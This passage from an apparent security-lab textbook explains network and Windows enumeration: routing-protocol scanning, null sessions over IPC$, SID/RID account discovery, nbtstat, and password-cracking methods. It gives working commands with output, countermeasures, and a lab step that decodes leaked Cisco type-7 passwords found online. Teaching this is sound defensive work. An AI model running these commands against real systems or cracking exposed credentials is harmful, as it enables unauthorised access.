a lot of information that an attacker can use. They also risk attack themselves.
Information that might be obtained includes the following:
Network addressing topologies
Information about the network owner and location of the routing device
Interesting hosts that may be attacked
Routing policies and rules and implemented security levels
Many routing protocols are proprietary. As an example, Cisco routers and
switches use the Cisco Discovery Protocol (CDP). CDP helps the network
professional manage the network. CDP is an OSI Layer 2 protocol. It sends
updates every 60 seconds to a multicast address. CDP runs on all media
that supports Subnetwork Access Protocol (SNAP), including LAN and WAN
technologies, such as Frame Relay and ATM.
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Another propriety routing protocol is Interior Gateway Routing Protocol
(IGRP), which Cisco developed in the mid 1980s. IGRP also uses bandwidth
and delay, which is different from RIP, as it uses simply distance. What does
it mean if you discover a network is running IGRP? This means that to use
IGRP, all the routers must be Cisco.
Enumerating and identifying routers can be a big help. Knowing that the
network runs RIP means there is no security against route spoofing. Making
the discovery that IGRP is being used means that the organization is a totally
Cisco shop. Any Cisco router vulnerability could then be attempted against
each router. Consider starting RIP on your network lab router to see for
yourself how route spoofing can be applied.
Routing Enumeration Tools
One of the best ways to start the router enumeration process is to use your
browser. Just by using online searches, known as Google hacking, you might be
able to find vulnerabilities. Items you might find include the following:
Usernames
Encrypted passwords
TFTP servers
IP addresses of routers
Access lists
Routing tables
The first routing enumeration tool up for discussion is your browser. The
most notable site to help you learn more about how to use your browser to enumerate routers and routing protocols is http://johnny.ihackstuff.com. As an
example of what you can find at this site, check out http://johnny.ihackstuff
.com/ghdb.php?function=detail&id=795. This page offers the needed syntax to search for encrypted Cisco router passwords. Depending on what
encrypted password has been used, these encrypted values may be subject to password-cracking programs, such as John the Ripper, available
from http://www.openwall.com/john/, and Cain & Abel, available from
www.oxid.it. The Googledork’s database at Johnny.ihackstuff.com offers
searches for all the bulleted items previously listed.
Next up is the Autonomous System Scanner (ASS). This tool is built in to
the version of BackTrack included on the DVD that accompanies book. The
Autonomous System Scanner can work with the following protocols: IRDP,
IGRP, EIGRP, RIPv1, RIPv2, CDP, HSRP, and OSPF. The program works in
one of two modes: passive and active. In passive mode (./ass -i eth0), the
program listens to routing protocol packets, such as broadcast and multicast
hellos. In active mode (./ass -i eth0 -A), the program tries to discover
Enumeration
routers by asking for information. Each mode is useful. The passive mode is
less likely to be detected, but the active mode is more accurate. Let’s take a
look at the output of the program:
# ./ass -i eth0 -A -v
ASS [Autonomous System Scanner] $Revision: 1.24 $
(c) 2k++ FX <fx@phenoelit.de>
Phenoelit (http://www.phenoelit.de)
IRPAS build XXXIX
Scanning
+ scanning IRDP ...
+ scanning RIv1 ...
+ scanning RIPv2 ...
+ scanning IGRP ...
+ waiting for EIGRP HELLOs (12s) ...
>>>Results>>>
Router 192.168.123.50 (RIPv1 )
RIP1 [ n/a ] 0.0.0.0
RIP1 [ n/a ] 192.168.123.1
RIP1 [ n/a ] 192.168.123.9
RIP1 [ n/a ] 192.168.123.105
(metric
(metric
(metric
(metric
1)
1)
1)
1)
From this output, you can see that 192.168.123.50 responded to RIP requests.
Problems with RIP include the following:
No security
Based on hop counts
Uses UDP
Uses broadcasts
Sends full updates about every 90 seconds
As can be seen with discovering RIP, it may mean that the attacker is only
a few steps away from redirecting traffic or launching a denial of service
attack by injecting bogus routing tables. In case you are wondering how the
Autonomous System Scanner works, Figure 5-4 shows a simple capture from
Wireshark that reveals the output.
Notice in Figure 5-4 how the Autonomous System Scanner sent out RIPv1
and RIPv2 requests. Each request is sent with an unspecified address, routing
tag, netmask, and next hop. You might also have noticed that the metric is set to 16 hops, which is unreachable. The 16 is shown in hex (10)
as the final byte of information on the bottom portion of Figure 5-4. While the
Autonomous System Scanner does work well against all versions of RIP, it
does not work against Open Shortest Path First (OSPF). This routing protocol
works much differently than RIP because it is considered a link-state routing
protocol. There are two ways to find out whether OSPF is running on a
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Figure 5-4 Autonomous System Scanner.
network. One way is to use SNMP, as previously discussed in this chapter.
The other way is to use Wireshark, available from www.wireshark.org. The
most common OSPF information you will find is the OSPF HELLO packets.
These are normally sent out approximately once every 30 seconds or so. Look
at these packets and see whether authentication is turned on. Remember that
OSPF can use authentication, whereas RIPv1 has no authentication. If OSPF
has authentication turned off, you can freely inject your own OSPF packets
into the network to cause various types of havoc. This again can be set up
in the lab environment so that you can see this vulnerability for yourself. Use
the lab environment to better understand the implications of poor security
practices.
Routing Enumeration Countermeasures
You can block routing enumeration in several different ways:
Higher-end switches — These devices allow for more control and
advanced features that can provide greater security.
Dynamic ARP inspection — A feature provided by Cisco to prevent
man-in-the-middle attacks.
Anti-sniffing — Detecting bogus ARP traffic or flooding attempts to
bypass the functionality of the switch.
Promiscuous mode detection — The ability to detect NICs that are listening to traffic other than their own.
Improved routing protocols — Moving from RIP to OSPF or another
routing protocol that provides some type of authentication.
Signatures added to IDS — An IDS can be used to detect signatures of
router enumeration and router attacks.
Enumeration
Let’s start by discussing sniffing. Sniffing the network is one of the primary
ways to determine which routing protocols are running. If the network is
still using hubs, all an attacker has to do is to plug into an open RJ-45 wall
jack to sniff the traffic. If no hubs are being used in the network, the attacker
must perform active sniffing. Remember that a switch limits the traffic that
a sniffer can see to broadcast packets and those specifically addressed to the
attached system. Traffic between two other hosts normally would not be seen
by the attacker, because it usually would not be forwarded to switch the port
the sniffer is plugged into. MAC flooding and ARP poisoning are the two
ways that the attacker can attempt to overcome the switch.
MAC flooding is not effective against higher-end switches, and ARP poisoning can be detected or blocked. Vendors such as Cisco also have tools built in to
their switches to do so, such as dynamic ARP inspection (DAI). DAI validates
ARP packets on the network. This technology protects the network from such
attacks by intercepting, logging, and discarding invalid ARP packets.
If your switch does not support this technology, there are still other ways
to detect when people are up to no good on the network. Anti-sniffing is
one such technique. Anti-sniffing refers to attempting to detect the use of
sniffers on a network. You can use anti-sniffer tools to detect changes in
the response time to host to detect whether the interface has been placed
in promiscuous mode. Tools such as Sniffdet, Sentinel, and Anti-sniff were
developed for just such purposes. You can learn more about anti-sniffing at
www.nmrc.org/pub/review/antisniff-b2.html.
If you have access to the system you suspect is running in promiscuous
mode, you might be able to determine whether a network interface is running
in promiscuous mode. This is usually represented in a type of status flag that
is associated with each network interface and maintained in the kernel. You
can obtain this by using the ifconfig command on Unix-based systems.
The following examples show an interface on the Linux operating system
when it isn’t in promiscuous mode:
eth0
Link encap:Ethernet HWaddr 00:60:08:C5:93:6B
inet addr:192.168.123.21 Bcast:192.168.123.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1492558 errors:2779 dropped:0 overruns:2740 frame:2740
TX packets:1282328 errors:0 dropped:0 overruns:0 carrier:0
collisions:10575 txqueuelen:100
Interrupt:10 Base address:0x300
Note that the attributes of this interface mention nothing about promiscuous
mode. When the interface is placed into promiscuous mode, as shown next,
the PROMISC keyword appears in the attributes section:
eth0
Link encap:Ethernet HWaddr 00:60:08:C5:93:6B
inet addr:192.168.123.21 Bcast:192.168.123.255 Mask:255.255.255.0
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UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:1425330 errors:2779 dropped:0 overruns:2740 frame:2740
TX packets:1282379 errors:0 dropped:0 overruns:0 carrier:0
collisions:10575 txqueuelen:100
Interrupt:10 Base address:0x300
Another defense against routing enumeration is to choose improved routing
protocols. For instance, there really is not much of a reason for anyone to be
running any version of Routing Information Protocol (RIP). Just by migrating
to Open Shortest Path First (OSPF) and turning on authentication, you can
greatly improve security. When using OSPF, you need to make sure to enable
routing authentication; doing so enables password protection on all packets.
Passwords are from one to eight characters in length and are configurable
on a link basis. When you are implementing OSPF, routing authentication
passwords must be configured on all links in the area.
Last, but not least, you can also add signatures of active routing enumeration
tools to intrusion detection system (IDS) tools, such as Snort. We look at Snort
in Chapter 10, ‘‘Intrusion Detection.’’
IN THE LAB
Routers can make use of a rather insecure protocol known as Trivial File
Transfer Protocol (TFTP). TFTP can be used to hold router configurations. The
TFTP server allows the router a place at which to place backup configurations
or a place from which to pull the configuration if the configuration needs to be
rebuilt. The risk is that others may also be able to access the router configuration files. In the router configuration, you will find a variety of information,
such as which ports are blocked and which protocols are denied or allowed.
Some of this information is shown here:
hostname Router1!
username Jimbo password 7 107C060C3112
enable secret 5 $1$zUmf$qKycvrf5cW.CEMl9XJjgR0
Notice what this information has the potential to reveal to an attacker. You
can see this for yourself in the lab with just an Internet connection and some
available tools. Go to Google Groups and search for ‘‘Cisco Password 7’’ or
check out http://groups.google.com/group/comp.dcom.sys.cisco/
browse thread/thread/59b27005033b56dc/8a16eaaf91435bef?hl=en&
lnk=st&q=cisco+password+7#8a16eaaf91435bef for one that has already
been provided. Notice that some of these listings have not been properly
sanitized of the Password 7 entry. Just copy the encrypted password and
download Get Pass from www.boson.com/FreeUtilities.html. Once it
is downloaded and installed, paste the password into the utility and observe
the clear text password. Protecting configuration files and limiting access or the
use of TFTP servers should be a priority for every security professional.
Enumeration
Windows Devices
Before we can talk about Windows enumeration techniques and tools, we
should spend a little time discussing how Windows stores user information and
passwords. Windows stores this information in the Security Accounts Manager
(SAM) database. If the system is part of a domain, the domain controller stores
the critical information. On standalone systems not functioning as domain
controllers, the SAM contains the defined local users and groups, along with
their passwords and other attributes. The SAM database is stored in a protected
area of the registry under HKLM\SAM.
The concept of the Active Directory (AD) domain first came to life with
Windows 2000 and heralded a big change from the old NT trust model. AD
is really a directory service that contains a database that stores information
about objects in a domain. The AD keeps password information and privileges
for domain users and groups that were once kept in the domain SAM.
Enumeration of Windows systems can potentially provide the attacker with
usernames, account information, network shares, and services offered by specific systems. Much of this information is available because of the way in which
parts of Microsoft Windows are designed. One vulnerable area exists because
of the way Windows transmits information about its shares and how the
Network Basic Input Output System (NetBIOS) protocol operates. Table 5-1
lists ports associated with this technology.
NetBIOS was a creation of IBM. It allows applications on different systems to
communicate through the LAN and has become a de facto industry standard.
On LANs using NetBIOS, systems identify themselves by using a 15-character
unique name. Because NetBIOS is nonroutable by default, Microsoft adapted
it to run over TCP/IP. NetBIOS is used in conjunction with Server Message
Blocks (SMB). SMB allows for the remote access of shared directories and files.
This key feature of Windows is what makes file and print sharing and the
Network Neighborhood possible.
Table 5-1 Common NetBIOS Ports and Services
PORT
PROTOCOL
SERVICE
135
TCP
MS-RPC endpoint mapper
137
UDP
NetBIOS name service
138
UDP
NetBIOS datagram service
139
TCP
NetBIOS session service
445
TCP
SMB over TCP
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When attackers target a system, they will always attempt to run their
code at the highest possible level because part of the enumeration process is
determining which account holders have administrator rights. Two items that
Windows uses to help keep track of a user’s security rights and identity are as
follows:
Security identifiers
Relative identifiers
Security identifiers (SIDs) are a data structure of variable length that identifies user, group, and computer accounts. For example, a SID of S-1-1-0
indicates a group that includes all users. Closely tied to SIDs are relative
identifiers (RIDs). A RID SID is a portion of the SID that identifies a user or
group in relation to the authority that user has. Let’s look at an example:
S-1-5-21-1607980848-492894223-1202660629-500
S for security id
1 Revision level
5 Identifier Authority (48 bit) 5 = logon id
21 Sub-authority (21 = nt non unique)
1607980848
SA
492894223
SA domain id
1202660629
SA
500
User id
Notice the last line of code. This value is the user ID and specifies a definite
user. This value is known as a RID. Table 5-2 lists some common RIDs.
As shown in Table 5-2, the administrator account has a RID of 500 by
default, the guest 501, and the first user account has a RID of 1000. Each new
user gets the next available RID. What’s important about this is that renaming
an account will not prevent someone from discovering key accounts. This is
somewhat similar to the way that Linux controls access for users and system
processes by use of an assigned user ID (UID) and a group ID (GID) that is
found in the /etc/passwd file.
Table 5-2 User IDs and RIDs
USER ID
CODE
Administrator
500
Guest
501
Kerberos
502
1st user
1000
2nd
1002
user
Enumeration
Server Message Block and Interprocess
Communication
Server Message Block (SMB) makes it possible for users to share files and
folders; interprocess communication (IPC) offers a default share on Windows
systems. This share, the IPC, is used to support named pipes that programs
used for interprocess (or process-to-process) communication. Because named
pipes can be redirected over the network to connect local and remote systems,
they also enable remote administration. I hope you can see where this might
be a problem.
When the concept of SMB was originally created, security was not at the
forefront of everyone’s mind. Some of you might even remember Microsoft’s
first GUI operating system, Windows 3.0. Early Microsoft operating systems
were of a peer-to-peer design. Although it’s true that Linux and Windows
run similar services with the Samba suite of services, Windows remains the
primary focus of these vulnerabilities.
The most basic connection possible with IPC is the NULL, or anonymous
connection. It achieves this by executing a net command. There’s an entire
host of net commands. We’ll look at a few here, but for a more complete
list just type net from the command line. Enter the /? syntax after any of the
commands that you would like more information about.
Suppose, for example, that you have identified open ports of 135, 139, and 445
on some targeted systems. You may want to start with the net view /domain
command:
C:\>net view /domain
Domain
Engineering
Marketing
Web
The command completed successfully.
Notice how handy the net commands are. They have identified the engineering, marketing, and web groups. To query any specific domain group, just
use the net command again in the form of net view /domain:domain name, as
follows:
C:\>net view /domain:accounting
Server Name
Remark
\\Giant
\\Tiny
\\Dwarf
The command completed successfully.
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We can take a closer look at any one system by using the net view \system
name command:
C:\net view \\dwarf
Shared resources at \\DWARF
Sharename
Type
Comment
----------------------------------------------------CDRW
Disk
D
Disk
Payroll
Disk
Printer
Disk
Temp
Disk
The command was completed successfully.
I hope you are starting to see the power of the net command. Next, we look
at how it can really be exploited when used in combination with IPC.
Enumeration and the IPC$ Share
Now that we have completed some basic groundwork, let’s move on to
enumerating user details, account information, weak passwords, and so forth.
We’ll be exploiting IPC$ for these activities. Specifically, we need to set up a
null session. It is set up manually with the net command:
C:\>net use \\192.168.123.100\ipc$ "" /u:""
I hope you remember some basic Microsoft information you learned in
getting your first Microsoft certification (specifically, information about the
$ syntax). In the world of Windows, the $ represents a hidden share. That’s
right; although you might not see it, the IPC$ share exists so that commands
can be sent back and forth between different computer systems. Accessing it
may not give you full administrator rights, but it will enable you to run the
tools we are about to discuss. There is a limit as to how far this command will
take us, but Table 5-3 shows its capabilities.
Table 5-3 Enumeration and Default Permissions
OPERATING
SYSTEMS
ENUMERATE ENUMERATE ENUMERATE ENUMERATE
SHARES
USERNAMES SIDS
RUNNING SERIVCES
Windows 2003 Yes
Yes
Yes
No
Windows XP
Yes
Yes
Yes
No
Windows 2000 Yes
Yes
Yes
no
Enumeration
While this table may show what is possible, do not start thinking that all this
information will always be available. Results of IPC$ enumeration depend on
how the administrator has applied specific security controls. If the network was
configured with relaxed security, permission compatible with pre–Windows
2000, you will have few restrictions placed on your abilities. If the network is
configured in native mode, you will be much more restricted. Just remember:
although the Windows 2003 default installation will not reveal the sensitive
information that is normally gathered from the IPC$ share, a Windows 2003
Primary Domain Controller (PDC) may still divulge information such as
usernames and domain info. Let’s look at the looser permissions first.
Windows Enumeration Tools
Most attackers are most likely going to want to target the administrator
account, but do you really know which one that is? That’s where a nice
little set of tools called USER2SID and SID2USER come in handy. You can
download these tools from http://evgenii.rudnyi.ru/soft/sid. The goal of
these utilities is to obtain a SID from the account name or the account name
from a SID. The guest account is a good target for the USER2SID tool:
C:\>user2sid \\192.168.123.10 guest
S-1-5-21-1607980884-492894322-1202660629-501
Number of subauthorities is 5
Domain is Workgroup
Length of SID in memory is 28 bytes
Type of SID is SidTypeUser
Notice the second line above? It’s the SID of the system along with the RID.
The RID of 501 tells us we are looking at the guest account. The second tool
in this set is SID2USER. The goal of SID2USER is to obtain the account name
from SID. Therefore, the SID from the previous command is pasted in with a
change of the RID from 501 to 500. Why 500? A RID of 500 should reveal the
true administrator. Don’t forget to drop the S-1:
C:\>sid2user \\192.168.123.10 5 21 1607980884 492894322 1202660629 500
Name is Mike
Domain is Workgroup
Type of SID is SidTypeUser
Look closely at the preceding output. Notice that the RID of 500 corresponds
to the Mike account. The true administrator has renamed the administrator
account to make it a little harder for the attacker to enumerate. That is where
you need to have an understanding of RIDs. With this, you can easily pick up
on the fact that this account has been renamed.
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Not everyone is comfortable with command-line tools, so GUI tools are also
available. Many prefer command-line tools because they are typically more
versatile. For example, you can script SID2USER and work your way up the
user accounts starting at a RID of 1000. Now let’s look at some GUI-based tools
that offer the same type of functionality.
DumpSec is a Windows-based GUI enumeration tool from SomarSoft and
is available from www.somarsoft.com. It enables you to remotely connect to
Windows machines and dump account details, share permissions, and user
information. Figure 5-5 shows DumpSec.
DumpSec’s GUI-based format makes it easy to take the results and port
them into a spreadsheet so that holes in system security are readily apparent
and easily tracked. It can provide you with usernames, SIDs, RIDs, account
comments, account policies, and dial-in information.
A host of tools can be used for enumeration. The ones listed here should
give you an idea of what this type of tool is capable of. Also listed are some of
the other tools that perform the same type of enumeration:
Userinfo — Released by HammerofGod, this command-line tool
retrieves all available information about any known user from any
NT/Win2k/XP system. The Userinfo command displays user information (for one or all users), adds or deletes users, and updates information
associated with a user. Specifically, calling the NetUserGetInfo API call
at Level 3, Userinfo returns standard info such as the following:
SID and primary group
Logon restrictions and smart card requirements
Special group information
Password expiration information
Figure 5-5 DumpSec.
Enumeration
This application works as a null user, even if the RestrictAnonymous value
in the LSA key is set to 1 to specifically deny anonymous enumeration.
GetAcct — Developed by SecurityFriday, this GUI tool can also enumerate vulnerable Windows system.
GetUserInfo — Created by JoeWare, this command-line tool extracts
user info from a domain or computer.
Ldp — This executable is what you need if you’re working with AD
systems. Once you find port 389 open and authenticate yourself using
an account (even guest will work), you can enumerate all the users and
built-in groups.
Some additional tools can be found at www.zoneedit.com/lookup.html?ad=
goto and http://www.infobear.com/cgi-bin/nslookup.cgi.
If you are more comfortable with Linux than Windows, check out some of
the Windows enumeration tools that are built in to Linux BackTrack OS. These
tools include the following:
RPCDump
SMB ServerScan
Smb4K
Figure 5-6 shows the output of Smb4K.
Some other tools that can be used to enumerate Windows computers are
built in to the operating system. Consider nbtstat. Microsoft defines nbtstat
as a tool designed to help troubleshoot NetBIOS name resolution problems.
It has options such as local cache lookup, WINS server query, broadcast,
Figure 5-6 Smb4K.
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LMHOSTS lookup, hosts lookup, and DNS server query. Entering nbtstat at a
Windows command prompt will tell us all about its usage:
C:\nbtstat
Displays protocol statistics and current TCP/IP connections using
NBT(NetBIOS over TCP/IP).
NBTSTAT [-a RemoteName] [-A IP address] [-c] [-n]
[-r] [-R] [-s] [S] [interval] ]
One of the best ways to use nbtstat is with the –A option. Let’s look at what
that returns:
C:\>nbtstat -A 192.168.123.10
NetBIOS Remote Machine Name Table
Name
Type
Status
--------------------------------------------DONALD
<00> UNIQUE
Registered
WORKGROUP
<00> GROUP
Registered
DONALD
<20> UNIQUE
Registered
WORKGROUP
<1E> GROUP
Registered
WORKGROUP
<1D> UNIQUE
Registered
MAC Address = 00-19-5D-1F-26-68
What’s returned is a name table that provides specific hex codes and tags
of unique or group. These codes identify the services running on this specific
system. For example, see the code of 1D unique? That signifies that this system,
Donald, is the master browser for this particular workgroup. Other common
codes include the following:
domain
domain
domain
domain
1B
1C
1D
1E
U
G
U
G
Domain Master Browser
Domain Controllers
Master Browser
Browser Service Elections
You can find a complete list of NetBIOS name codes by searching Google
for ‘‘NetBIOS name codes’’ or by looking at www.cotse.com/nbcodes.htm.
Windows Enumeration Countermeasures
Blocking or reducing the amount of information that can be gathered by
enumeration should be a prime focus of security professionals. Basic controls
that you can apply to reduce this type of information leakage include the
following:
Block ports
Disable unnecessary services
Use the Restrict Anonymous setting
Enumeration
Blocking ports 135, 137, 139, 389, and 445 is a good start. The NetBIOS null
session uses specific port numbers on the target machine. Null sessions require
access to TCP ports 135, 137,139, and/or 445. Closing these ports and disabling
SMB services on individual hosts by unbinding the TCP/IP WINS client from
the interface in the network connection’s properties can reduce the amount of
information that the attacker can gather by means of enumeration. Here are
the steps to accomplish this task:
1. Open the properties of the network connection.
2. Click TCP/IP and then the Properties button.
3. Click the Advanced button.
4. On the WINS tab, select disable NetBIOS over TCP/IP.
Another technique is to edit the registry directly to restrict the anonymous
user from login. Listed here are the steps to accomplish this task:
1. Open regedt32, and navigate to HKLM\SYSTEM\CurrentControlSet\LSA.
2. Choose Edit ➪ Add Value. Enter these values:
Value name: RestrictAnonymous
Data Type: REG WORD
Value: 2
Other security controls can reduce the potential damage from enumeration.
Typically, the oldest (or down-level) software is the most vulnerable. Newer
versions of Windows are considered more secure from enumeration than
older versions, such as Windows NT and Windows 2000. And although not
every company has the money to buy the latest operating system, such as
Windows 2003 or Vista, the latest Microsoft security patches will also reduce
the threat of enumeration.
IN THE LAB
Windows enumeration can provide the attacker with enough information to
launch an attack. To prevent this vulnerability, you need to consider tightening
the Restrict Anonymous settings and blocking ports associated with the null
session, such as 135, 139, and 445. In the lab you will want to explore this by
targeting a default Windows 2000 server. From the command prompt of
another system, enter the following:
C:\>net use \\192.168.123.100\ipc$ "" /u:""
Be sure to replace the IP address with the actual IP address of your targeted
system. Next, you will want to download and install DumpSec, which is available
(continued)
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IN THE LAB (continued)
at www.systemtools.com/cgi-bin/download.pl?DumpAcl. After installing
DumpSec, start the program, go to Report, and then enter the IP address. Then
choose Report ➪ Add Users to Table. This option will allow you to view all current
users and associated information in a table format. Take some time to review the
amount of information you have obtained without logging on to the system with a
username and password.
Advanced Enumeration
Attackers who get this far in the process are typically only a few steps away
from gaining access and control of the system. If they have been successful in the
basic enumeration process, they might attempt to use the acquired information
to log in.
The primary goal of enumeration is to gather enough information to gain
access. The attacker may attempt this in the following ways:
Guessing usernames and passwords
Sniffing password hashes
Exploiting vulnerabilities
To guess usernames and passwords, you must review your previous enumeration findings. Enumeration may have returned router configurations with
passwords that could be cracked, or perhaps user accounts that appear to have
default or no passwords. Tools such as DumpSec can determine whether the
system has a lockout policy. All of this information is useful when attempting
to guess username and password combinations. However, password guessing
may be of limited utility if the lockout policy is set to a low value. (Many
organizations use a setting of three failed attempts.)
Password Cracking
There is always the possibility that the attacker may be able to recover an
encrypted password. As previously discussed, these can be found in various
places such as router configuration files. This is where password cracking
comes into play. Password cracking can be divided into two basic categories:
calculated hashes compared to encrypted results, and precomputed hashes. If
a basic code or weak algorithm is used to encrypt passwords, the passwords
might be obtained using standard cryptanalysis approaches.
Advanced Enumeration
PasswordCreation
Process
2.
1.
3.
Hashing
Algorithm
Original
Password
Message
Digest
= or ≠
MD5, SHA, etc.
PasswordCracking
Process
Hashing
Algorithm
Dictionary
List
1.
2.
Message
Digest
3.
Figure 5-7 Password-cracking process.
With hash calculation, you can use dictionary, hybrid, or brute-force
password cracking. Dictionary password attacks pull words from a dictionary or word list to attempt to discover a user’s password. A dictionary attack
uses a predefined dictionary to look for a match between the encrypted password and the encrypted dictionary word. You can create your own dictionary
word list or download them from the Internet. One example can be found
at http://sourceforge.net/project/showfiles.php?group id=10079. Many
times, dictionary password audits will recover a user’s password in a short
period of time if common words have been used. If passwords are words typically found in a dictionary, dictionary tools will crack them quickly. Figure 5-7
shows an example of how this process works.
When you review Figure 5-7, you might notice that this type of password
cracking is actually a form of comparative analysis. Each word in the dictionary
is hashed with the same algorithm and compared to the encrypted value. If
the values match the password used to create the hash, it must be the same
as the one used to create the original password hash.
A hybrid attack also uses a dictionary or word list, but it prepends and
appends characters and numbers to dictionary words in an attempt to crack
the user’s password. These programs are comparatively smart because they
can manipulate a word and use its variations. For example, consider the
word password. A hybrid password audit would attempt variations such as
123password, abcpassword, drowssap, p@ssword, pa44w0rd, and so on. These
various approaches increase the odds of successfully cracking an ordinary
word that has had a little variation added in.
Brute-force attacks use random numbers and characters to crack a user’s
password. A brute-force audit on an encrypted password may take hours, days,
months, or years, depending on the complexity and length of the password.
The rate of success here depends on the speed of the CPU. Brute-force
audits attempt every combination of letters, numbers, and characters. Some
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better-known dictionary, hybrid, brute-force password-cracking tools include
the following:
John the Ripper — A well-known password-auditing tool that is
available for 11 types of UNIX systems plus Windows. It can crack most
common passwords, including Kerberos, AFS, and Windows NT/2000/
XP/2003 LM hashes. A large number of add-on modules are available
for John that can allow it to crack OpenVMS passwords, Windows credentials caches, and MySQL passwords.
L0phtcrack — An older password-cracking tool that was first released
back in 1997 and became famous as the premiere Windows passwordcracking tool. Symantec now owns the rights to this tool, but it
continues to be improved. It can extract hashes from the local machine,
a remote machine, and can sniff passwords from the local network.
Cain & Abel — A multipurpose tool that can perform a variety of tasks,
including Windows enumeration, sniffing, and password cracking. The
password-cracking part of the program can perform dictionary and
brute-force analysis and can use precomputed hash tables.
Figure 5-8 shows Cain.
Brutus — A brute-force password cracker using dictionaries and that
supports Telnet, FTP, HTTP, and other protocols.
cURL — A set of tools that support multi-protocol transfers of data to
or from a server with minimal user involvement. cURL provides proxy
support, SSL connection support, cookies, and user authentication.
Figure 5-8 Cain Password cracking.
Advanced Enumeration
Now let’s look at the second category of password cracking: precomputed
hashes. Precomputed hashes make use of a time-memory tradeoff. This is
implemented by means of a rainbow table, a technique first implemented by
Philippe Oechslin as a faster time-memory tradeoff technique. Historically, the
three approaches previously discussed (dictionary, hybrid, and brute force)
were the primary methods that someone would use to test the strength of
a password or attempt to crack it. Some passwords were considered secure
because of the time it would take to crack them; sure, they could be cracked,
but who is going to spend three months trying? This theory no longer holds
completely true.
A relative new approach is to use a rainbow table. It works by precomputing
all possible passwords in advance. Upon completion of this time-consuming
process, the passwords and their corresponding encrypted values are stored in
a file called the rainbow table. Encrypted passwords are loaded, and a search
for the password hash is performed. When a match is found, the password is
revealed. Typically, this takes only a few minutes.
One tool that will perform a rainbow attack is Ophcrack. This passwordcracking tool implements the rainbow table technique previously discussed.
It has several tables that can be downloaded, and you can search the Web
for others. What’s most important to remember is that if a password is in the
table, it will be cracked quickly. The Ophcrack web site also lets you enter
a hash and reveal the password in just a few seconds. Figure 5-9 shows an
example of this. You can also download a CD version with a small Linux OS
that enables you to boot to Linux and crack alphanumeric passwords quickly.
It is available at http://ophcrack.sourceforge.net.
Figure 5-9 Ophcrack online password cracking.
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Protecting Passwords
Before moving on to other password attacks, it is important to spend a few
minutes discussing how to protect passwords. Some of these strategies have
to do with policies and training, but others, like encryption, are directly
applicable to the lab. Protection methods include the following:
Do not reveal your passwords to others.
If possible, use stronger authentication mechanisms, such as challenge
response, Kerberos, SecureID, and public key encryption.
Always log out of a session during which you used your password in a
public computer or kiosk.
Avoid using software that recalls your passwords and automatically fills
them in for you.
Be aware of personal, email, and telephone social engineering attacks
attempting to get you to reveal your passwords.
Do not write passwords on notepads and leave them in the vicinity of
your computer.
Use encryption programs to protect passwords stored on your computer.
Sniffing Password Hashes
Sniffing password hashes offers the attacker another avenue of access. Most
networks pass a large amount of traffic, and a significant portion of it might
not even be encrypted. Even if it is encrypted, the algorithm or encryption
process may be weak or vulnerable. Sniffing password and hashes on the
network requires the attacker have some type of access. If the attacker can gain
this level of access on a network, it might be possible to sniff credentials right
off the network.
ACCESS LEVELS
There is always a risk any time an attacker can gain any type of access. In most
attacks an attacker will not gain immediate root or administrator account
access. Rather, it is very much a building-block type of process. Even with a
low-level account, such as regular user account, it may be enough for the
attacker to leverage this access to move up to a more privileged level. Defense
in depth is the goal. This means using the security lab to learn how to build
layers of defense. At each layer, you should place controls to slow, deter, delay,
and prevent the attacker from getting anything!
Advanced Enumeration
Figure 5-10 BeatLM.
ScoopLM and BeatLM (www.securityfriday.com/tools/ScoopLM.html)
were originally designed as two products that accomplish just such a task.
Their purpose is to sniff the network for Windows authentication traffic. Once
this traffic is detected and captured, you can use ScoopLM’s built-in dictionary
and brute-force cracker. Figure 5-10 shows an example of BeatLM. You might
note that two authentication attempts were made. The first has NG in the
results column, which indicates that authentication failed. However, note that
second attempt is listed as OK. This indicates the captured hash is valid. This
hash is ready for either a brute-force or dictionary attack.
You are not limited to just capturing Windows authentications. Tools are
also available that enable you to capture and crack Kerberos authentication.
Remember that the Kerberos protocol was developed to provide a secure
means for mutual authentication between a client and server. It offers the
ability for the organization to implement single sign-on (SSO). You should
already have a good idea whether Kerberos is being used (because you most
likely scanned port 88, the default port for Kerberos, in Chapter 4,‘‘Detecting
Live Systems,’’ when port scanning was performed).
KerbCrack, a tool from www.ntsecurity.nu, can be used to attack Kerberos.
It consists of two separate programs. The first portion is a sniffer that listens on
port 88 for Kerberos logins; the second portion is used as a cracking program
to launch a dictionary or brute-force attack on the password. Let’s turn our
attention now to a more in-depth review of how password cracking works.
Exploiting a Vulnerability
You might be wondering how many vulnerabilities there are each year. If so,
consider that for the last full year of statistics, which was 2006, there were a total
of 7,247 vulnerabilities. This represented an increase of more than 39.5 percent
from 2005. Vulnerabilities are typically reported as Common Vulnerabilities
and Exposures (CVEs). CVEs are weaknesses or holes in your computers and
other equipment that can be exploited by hackers. When a CVE is reported, it
is cataloged and named by MITRE Corporation.
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While MITRE is in the process of researching a candidate CVE, the
company creates a name for the candidate. CVEs can be researched at
http://nvd.nist.gov/home.cfm. An example of a CVE is shown here:
CVE-2007-6100
Summary: Cross-site scripting (XSS) vulnerability in libraries/auth/
cookie.auth.lib.php in phpMyAdmin before 2.11.2.2, when logins are authenticated with the cookie auth type, allows remote attackers to inject
arbitrary web script or HTML via the convcharset parameter to index.php, a
different vulnerability than CVE-2005-0992.
Published: 11/23/2007
Let’s look at how the vulnerability process might be used by the attacker.
1. The attacker enumerates a system to determine which services and versions are running. For this example, let’s suppose the attacker identifies
the system as Red Hat Linux 6.1.
2. The attacker surfs the web for vulnerabilities for Red Hat Linux 6.1. He
finds several, as listed in Figure 5-11. Note that there are reported vulnerabilities for race conditions and the programmable authentication
module (PAM).
Figure 5-11 SecurityFocus vulnerability research.
Advanced Enumeration
Figure 5-12 Exploit code research.
3. With several vulnerabilities discovered, the attacker now searches the
Web for exploit code. Figure 5-12 shows the result of this search. PacketStorm security, www2.packetstormsecurity.org, returns several matches
that might work against the vulnerable site.
4. The attacker downloads the code and launches it against the vulnerable target. If it is successful, the attacker has now gained access. If it is
unsuccessful, the attacker renews his search and tries another exploit.
When the attacker exploits the vulnerability, he has most likely gained some
level of access to the computer system. If the attacker has been able to gain
access to a Windows system as a standard user, the next step is escalation of
privilege. Whether this is necessary depends on the level of access provided by
exploitation of the vulnerability. If the vulnerable service is already operating
with privileged access, escalation is not needed.
Other ways that attackers gain access by means of exploit code include the
following:
Tricking the user into executing the malicious program. Email is a common attack vector.
